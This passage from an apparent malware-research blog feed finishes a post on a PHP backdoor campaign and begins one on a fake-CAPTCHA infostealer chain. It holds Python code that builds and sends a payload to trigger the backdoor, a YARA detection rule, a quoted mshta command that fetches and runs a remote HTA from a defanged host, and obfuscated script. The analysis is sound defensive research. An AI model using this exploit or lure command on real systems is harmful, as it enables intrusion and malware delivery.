font-style: inherit;">";'</span></span>
<span id="cb31-8">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">elif</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">isinstance</span>(obj, <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">int</span>):</span>
<span id="cb31-9">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f'i:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>obj<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">;'</span></span>
<span id="cb31-10">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">elif</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">isinstance</span>(obj, <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">dict</span>):</span>
<span id="cb31-11">        serialized <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f'a:</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">len</span>(obj)<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">:</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">{{</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">'</span></span>
<span id="cb31-12">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> k, v <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> obj.items():</span>
<span id="cb31-13">            serialized_key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> php_serialize(k)</span>
<span id="cb31-14">            serialized_value <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> php_serialize(v)</span>
<span id="cb31-15">            serialized <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f'</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>serialized_key<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}{</span>serialized_value<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">'</span></span>
<span id="cb31-16">        serialized <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'}'</span></span>
<span id="cb31-17">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> serialized</span>
<span id="cb31-18">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span>:</span>
<span id="cb31-19">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">raise</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">ValueError</span>(<span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">f"Unsupported type for serialization: </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">type</span>(obj)<span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span>)</span></code></pre></div></div>
<p>For example, our Python object:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb32" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb32-1">payload <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> {</span>
<span id="cb32-2">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"salt"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"asdf"</span>,</span>
<span id="cb32-3">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"write"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"file_put_contents"</span>,</span>
<span id="cb32-4">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"content"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"&lt;?php echo 'pwn' ?&gt;"</span>,</span>
<span id="cb32-5">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"delete"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"unlink"</span></span>
<span id="cb32-6">}</span></code></pre></div></div>
<p>Will be serialized as:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb33" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb33-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">'a:4:{s:4:"salt";s:4:"asdf";s:5:"write";s:17:"file_put_contents";s:7:"content";s:19:"&lt;?php echo </span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\'</span><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">pwn</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\'</span><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"> ?&gt;";s:6:"delete";s:6:"unlink";}'</span></span></code></pre></div></div>
</section>
<section id="encryption" class="level3">
<h3 class="anchored" data-anchor-id="encryption">Encryption</h3>
<p>The next step is to XOR encrypt the serialized payload with the key hardcoded in the malware. This key is a unique UUID that would be practically impossible to brute-force in a real-world scenario (we don’t know the source of randomness used by the generator).</p>
<p>My Python implementation closely mirrors the original PHP code:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb34" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb34-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> xor_encrypt(data, key):</span>
<span id="cb34-2">    extended_key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> (key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> (<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">len</span>(data) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">len</span>(key) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>))[:<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">len</span>(data)]</span>
<span id="cb34-3">    xored <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytes</span>([a <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> b <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> a, b <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">zip</span>(data.encode(), extended_key.encode())])</span>
<span id="cb34-4">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> xored</span></code></pre></div></div>
</section>
<section id="base64-encoding" class="level3">
<h3 class="anchored" data-anchor-id="base64-encoding">Base64 Encoding</h3>
<p>Next, we encode the encrypted payload with Base64:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb35" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb35-1"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;&gt;</span> base64.b64encode(xored).decode()</span>
<span id="cb35-2"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">'UQoECktDCgQXEkNRXFkSC0MKGQoSUUNJVhILQwoFChJHQllEVRILQwoBBwoPVllcVXJARURvTl9eRFVDREMSC0MKBwoSU19eRFVeRBILQwocCQoSDBJAWEAQSFNYXxAKQEdeFxAPDhILQwoGChJUVVxVRFUPC0MKBhcSRV5cRF5bEgtQ'</span></span></code></pre></div></div>
<p>This encoded payload will then be distributed across multiple HTTP parameters (cookies and post data) as specified in the malware’s data collection mechanism.</p>
</section>
<section id="exploit" class="level3">
<h3 class="anchored" data-anchor-id="exploit">Exploit!</h3>
<p>To exploit the implanted code, we need to <em>craft a specially formatted HTTP request</em>.</p>
<p>There must be a cookie with the first 4 digits of the key as the name, in our test case <code>"0000"</code>.</p>
<p>The value of this key is a comma-separated list of cookie names or object keys of the post data. The values of these index names are appended together. We can be creative in distributing the payload across different cookies or post data, but the easiest way is to just set everything in a single cookie.</p>
<p>And the final request will look something like this:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb36" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb36-1">cookies <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> {</span>
<span id="cb36-2">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"0000"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"boring_cookie"</span>,</span>
<span id="cb36-3">    <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"boring_cookie"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"UQoECktDCgQXEkNRXFkSC0MKGQoSUUNJVhILQwoFChJHQllEVRILQwoBBwoPVllcVXJARURvTl9eRFVDREMSC0MKBwoSU19eRFVeRBILQwocCQoSDBJAWEAQSFNYXxAKQEdeFxAPDhILQwoGChJUVVxVRFUPC0MKBhcSRV5cRF5bEgtQ"</span></span>
<span id="cb36-4">}</span>
<span id="cb36-5">r <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> requests.post(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"http://127.0.0.1:8000"</span>, cookies<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>cookies)</span></code></pre></div></div>
<p>PoC||GTFO:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb37" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb37-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">$</span> python3 exploit.py</span>
<span id="cb37-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">pwn</span></span></code></pre></div></div>
<p>Nice! An over-complicated way to print “pwn” :D</p>
</section>
</section>
<section id="botnet-the-big-picture" class="level2">
<h2 class="anchored" data-anchor-id="botnet-the-big-picture">Botnet: The Big Picture</h2>
<section id="assessing-the-malwares-prevalence" class="level3">
<h3 class="anchored" data-anchor-id="assessing-the-malwares-prevalence">Assessing the Malware’s Prevalence</h3>
<p>The fact that there are seven different failed infections on a single page suggested a much wider campaign targeting multiple websites. Let’s hunt.</p>
<p>To investigate further, I created a YARA rule to identify similar infections:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb38" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb38-1">rule yara_template {</span>
<span id="cb38-2">  meta:</span>
<span id="cb38-3">    target_entity = "file"</span>
<span id="cb38-4">  strings:</span>
<span id="cb38-5">    $s1 = "class_exists"</span>
<span id="cb38-6">    $s2 = "empty"</span>
<span id="cb38-7">    $s3 = "intval(strlen($"</span>
<span id="cb38-8">    $s4 = "@unserialize"</span>
<span id="cb38-9">    $s5 = "__construct"</span>
<span id="cb38-10">    $s6 = "__destruct"</span>
<span id="cb38-11">    $s7 = "is_array"</span>
<span id="cb38-12">    $s8 = "exit"</span>
<span id="cb38-13"></span>
<span id="cb38-14">    /* version 1 */</span>
<span id="cb38-15">    //$o1 = "eval"</span>
<span id="cb38-16">    /* version 2 */</span>
<span id="cb38-17">    //$o2_1 = "sys_get_temp_dir() . \"/\" . crc32"</span>
<span id="cb38-18">    //$o2_2 = "include"</span>
<span id="cb38-19"></span>
<span id="cb38-20">    /* uuid regex */</span>
<span id="cb38-21">    $re = /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/</span>
<span id="cb38-22"></span>
<span id="cb38-23">  condition:</span>
<span id="cb38-24">    all of ($s*) and</span>
<span id="cb38-25">    $re</span>
<span id="cb38-26">}</span></code></pre></div></div>
<p>This rule targets the backdoor’s distinctive characteristics: the use of class constructors and destructors for execution, the serialization mechanisms, and the UUID-based authentication system.</p>
</section>
<section id="retrohunt-results" class="level3">
<h3 class="anchored" data-anchor-id="retrohunt-results">Retrohunt Results</h3>
<p>I decided to run a VirusTotal <a href="https://docs.virustotal.com/docs/retrohunt">retrohunt</a> query using the yara rule:</p>
<p><img src="https://0xlibris.net/posts/php_botnet/img/retrohunt.png" title="VirusTotal retrohunt query results" class="img-fluid"></p>
<p>Every hit looks exactly the same; similar random variable names, the key strings from the yara rule, a uuid key, and the same pattern of code appended to the top of html pages.</p>
<p>The retrohunt job is limited to the last 90 days of data, with the oldest “First seen” of mid-2024, but the botnet may be older.</p>
<p>Based on the number of results, we can assume that there may be thousands of compromised websites.</p>
</section>
<section id="google-search" class="level3">
<h3 class="anchored" data-anchor-id="google-search">Google Search</h3>
<p>To supplement the retrohunt findings, I performed targeted Google searches using distinct code fragments from the backdoor:</p>
<p>Simple Google searches for similar samples revealed numerous hits</p>
<p>Example query: <code>"intval(strlen($"</code></p>
<p><img src="https://0xlibris.net/posts/php_botnet/img/google_search_results.png" title="Google results of the search &quot;intval(strlen($&quot; results" class="img-fluid"></p>
<p><img src="https://0xlibris.net/posts/php_botnet/img/google_search.png" title="Google search &quot;intval(strlen($&quot; showing compromised websites" class="img-fluid"></p>
<p>There are a lot of false positives, because this php snippet is quite generic, but the compromised sites are very easy to spot.</p>
<p>What’s particularly concerning is that these search results primarily reveal broken or detected instances of the backdoor. The actual number of successfully compromised sites likely far exceeds these visible cases, as properly functioning backdoors remain hidden from casual inspection.</p>
</section>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion</h2>
<p>This analysis reveals a PHP backdoor campaign that has likely compromised thousands of websites since at least 2024. The malware employs effective obfuscation techniques and a multi-stage execution process that makes detection challenging.</p>
<p>The infected websites likely serve multiple purposes in cybercriminal operations: forming a distributed botnet infrastructure, facilitating shady SEO tactics, redirecting phishing campaigns using legitimate domains, and distributing malware to unsuspecting visitors. I like to think of these types of botnets as malware CDNs.</p>
<p>The persistence of this backdoor demonstrates that even relatively simple PHP malware can remain effective when deployed at scale, and remains an important actor in malware distribution processes.</p>
<p><img src="https://0xlibris.net/posts/php_botnet/img/wordpress_brain_slug.jpg" title="Futurama's brain slugs promoting WordPress" class="img-fluid"></p>


</section>

<a onclick="window.scrollTo(0, 0); return false;" id="quarto-back-to-top"><i class="bi bi-arrow-up"></i> Back to top</a> ]]></description>
  <category>malware</category>
  <category>reversing</category>
  <category>botnet</category>
  <category>backdoor</category>
  <guid>https://0xlibris.net/posts/php_botnet/</guid>
  <pubDate>Thu, 01 May 2025 00:00:00 GMT</pubDate>
  <media:content url="https://0xlibris.net/posts/php_botnet/img/wordpress_brain_slug.jpg" medium="image" type="image/jpeg"/>
</item>
<item>
  <title>Analyzing the Infection Chain of a Stealer Malware</title>
  <link>https://0xlibris.net/posts/infection_chain_infostealer/</link>
  <description><![CDATA[ 






<section id="introduction" class="level2">
<h2 class="anchored" data-anchor-id="introduction">Introduction</h2>
<p>In this analysis, I’ll walk through a sophisticated infection chain used to deliver stealer malware. This multi-stage attack begins with a seemingly legitimate website and employs several deception techniques to evade detection while delivering its malicious payload.</p>
<p>Spoiler: There are a lot of layers.</p>
</section>
<section id="initial-stage" class="level2">
<h2 class="anchored" data-anchor-id="initial-stage">Initial Stage</h2>
<p>The attack begins at a site which appears to be a legitimate website that has either been compromised or created specifically for this attack. The initial infection vector relies on user execution, making it a social engineering attack rather than exploiting technical vulnerabilities.</p>
<section id="fake-captcha" class="level3">
<h3 class="anchored" data-anchor-id="fake-captcha">Fake CAPTCHA</h3>
<p>Users are presented with a fake Cloudflare CAPTCHA verification page that includes specific instructions. The page displays what appears to be a standard “Verify you are human” check, but instead of clicking a checkbox, it instructs the user to press the Windows+R key combination and paste a command.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/fake_captcha.png" title="fake CAPTCHA page, asking the user to press win+R and pasting a command" class="img-fluid"></p>
<p>This copied text includes an <code>mshta.exe</code> command, which can execute remote HTML applications (HTA files).</p>
</section>
<section id="windows-command-shell" class="level3">
<h3 class="anchored" data-anchor-id="windows-command-shell">Windows Command Shell</h3>
<p>When the user executes the copied command in the Run dialog, only the last part of the command is visible in the command window:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/1_cmd.png" title="cmd run only shows the last part of the command, hiding the mshta.exe and url" class="img-fluid"></p>
<p>This deliberate obfuscation hides the true nature of the command from the user. The full command is actually:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode ps1 code-with-copy"><code class="sourceCode powershell"><span id="cb1-1"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"C:\WINDOWS\system32\mshta.exe"</span>  http<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">://</span>incognito<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[.]</span>uploads<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[.]</span>it<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[.]</span>com <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">#  ''Ι am nοt a rοbοt: Clοudflare Verificatiοn ΙD: 6RM-42B''</span></span></code></pre></div></div>
<p>I downloaded this payload using curl and saved it as <code>2.hta</code>:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb2-1">curl -L -H "User-Agent: " http://incognito[.]uploads[.]it[.]com -o 2.hta</span></code></pre></div></div>
</section>
</section>
<section id="second-stage" class="level2">
<h2 class="anchored" data-anchor-id="second-stage">Second Stage</h2>
<section id="the-river" class="level3">
<h3 class="anchored" data-anchor-id="the-river">The River</h3>
<p>When examining the downloaded file, I discovered something unexpected: the second stage payload is disguised as an MP3 song (???).</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb3-1">$ file 2.hta</span>
<span id="cb3-2">2.hta: Audio file with ID3 version 2.4.0</span></code></pre></div></div>
<p>Running <code>exiftool</code> on the file revealed more details:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb4-1">$ exiftool 2.hta </span>
<span id="cb4-2">ExifTool Version Number         : 12.40</span>
<span id="cb4-3">File Name                       : 2.hta</span>
<span id="cb4-4">Directory                       : .</span>
<span id="cb4-5">File Size                       : 6.7 MiB</span>
<span id="cb4-6">...</span>
<span id="cb4-7">File Permissions                : -rw-rw-r--</span>
<span id="cb4-8">File Type                       : MP3</span>
<span id="cb4-9">File Type Extension             : mp3</span>
<span id="cb4-10">MIME Type                       : audio/mpeg</span>
<span id="cb4-11">ID3 Size                        : 14611</span>
<span id="cb4-12">Title                           : The River</span>
<span id="cb4-13">Artist                          : Stingray SZN</span>
<span id="cb4-14">Track                           : 6</span>
<span id="cb4-15">Recording Time                  : 2022</span>
<span id="cb4-16">Genre                           : Reggae</span>
<span id="cb4-17">Composer                        : Stingray SZN</span>
<span id="cb4-18">Publisher URL                   : http://www.jamendo.com</span>
<span id="cb4-19">Publisher                       : http://www.jamendo.com</span>
<span id="cb4-20">User Defined Text               : (Tagging time) 2022-03-21T18:14:45</span>
<span id="cb4-21">Encoded By                      : Jamendo:http://www.jamendo.com| LAME</span>
<span id="cb4-22">Source URL                      : http://www.jamendo.com/en/album/477560</span>
<span id="cb4-23">Comment                         : http://www.jamendo.com cc_standard</span>
<span id="cb4-24">File URL                        : http://www.jamendo.com/en/track/1933339</span>
<span id="cb4-25">Artist URL                      : http://www.jamendo.com/en/artist/527554</span>
<span id="cb4-26">Copyright URL                   : http://creativecommons.org/licenses/by-nc-nd/3.0/</span>
<span id="cb4-27">Copyright                       : http://creativecommons.org/licenses/by-nc-nd/3.0/</span>
<span id="cb4-28">Picture MIME Type               : image/jpeg</span>
<span id="cb4-29">Picture Type                    : Front Cover</span>
<span id="cb4-30">Picture Description             : </span>
<span id="cb4-31">Picture                         : (Binary data 13424 bytes, use -b option to extract)</span>
<span id="cb4-32">Warning                         : Invalid ID3 frame size</span>
<span id="cb4-33">Date/Time Original              : 2022</span></code></pre></div></div>
<blockquote class="blockquote">
<p>Jamendo is a Luxembourg-based music website and an open community of independent artists and music lovers. A subsidiary of Belgian company Llama Group, and Independent Management Entity (IME) since 2019.</p>
</blockquote>
<p>Using a legitimate Creative Commons song to distribute malware is really low. Fortunately, the original uploaded version on Jamendo does not contain malware. This is just a copy that has been modified by the attackers.</p>
<p>I renamed the file from <code>2.hta</code> to <code>2.mp3</code>, and opened in r2:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/2_mp3_r2_1.png" title="Radare2 visual mode showing the start of some fishy contents" class="img-fluid"></p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/2_mp3_r2_2.png" title="Radare2 visual mode showing the end of some fishy contents" class="img-fluid"></p>
<p>The analysis revealed an hta file embedded within the mp3. The embedded file starts at offset <code>0x183c</code> and ends at <code>0x17eac</code>. I calculated the total size using <code>rax2</code>:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb5-1">$ rax2 0x17eac-0x183c </span>
<span id="cb5-2">91759</span>
<span id="cb5-3">$ rax2 91759</span>
<span id="cb5-4">0x1666f</span></code></pre></div></div>
<p>And I extracted the embedded hta file using radare2’s <code>wtf</code> command:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb6-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">[0x00000000]</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> wtf 2.hta 0x16670 @ 0x183c</span></code></pre></div></div>
</section>
<section id="embedded-hta" class="level3">
<h3 class="anchored" data-anchor-id="embedded-hta">Embedded HTA</h3>
<p>The extracted hta file contains obfuscated <em>code</em>. The original file is approximately 90KB in size and consists of numerous script tags with seemingly random code:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode html code-overflow-wrap code-with-copy"><code class="sourceCode html"><span id="cb7-1"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">window</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">moveTo</span>(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">9999</span>)<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;/</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;&lt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">window</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">onerror</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span>(){<span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">true</span>}<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;/</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;&lt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;=</span> eoqn <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">47</span> int rclg <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">54</span> ( <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">49</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> ypyro ) drdv <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">while</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">41</span> nwwgzjr bool kteqkcd ] <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">85</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span> ] dmwlstb hxoxxkt <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">94</span> ewqnzr riqzus nimw emvjyq <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">80</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> } <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">36</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> [ <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">likkr</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> ] ] <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">55</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">51</span> ynd <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">46</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;=</span> bool <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">90</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">86</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> egq [ <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">30</span> [<span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;/</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;&lt;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span>{ <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">38</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> ) <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">83</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> { <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">76</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">31</span> jc<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;/</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
